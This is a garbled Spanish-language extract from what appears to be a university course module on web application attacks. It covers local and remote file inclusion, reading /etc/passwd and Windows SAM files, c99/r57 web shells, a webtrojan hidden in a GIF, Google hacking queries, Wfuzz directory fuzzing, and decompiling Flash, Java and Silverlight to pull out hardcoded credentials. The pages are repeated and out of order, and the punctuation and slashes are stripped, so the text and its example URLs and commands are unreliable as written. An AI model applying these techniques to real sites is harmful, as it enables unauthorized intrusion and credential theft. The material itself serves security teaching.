Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
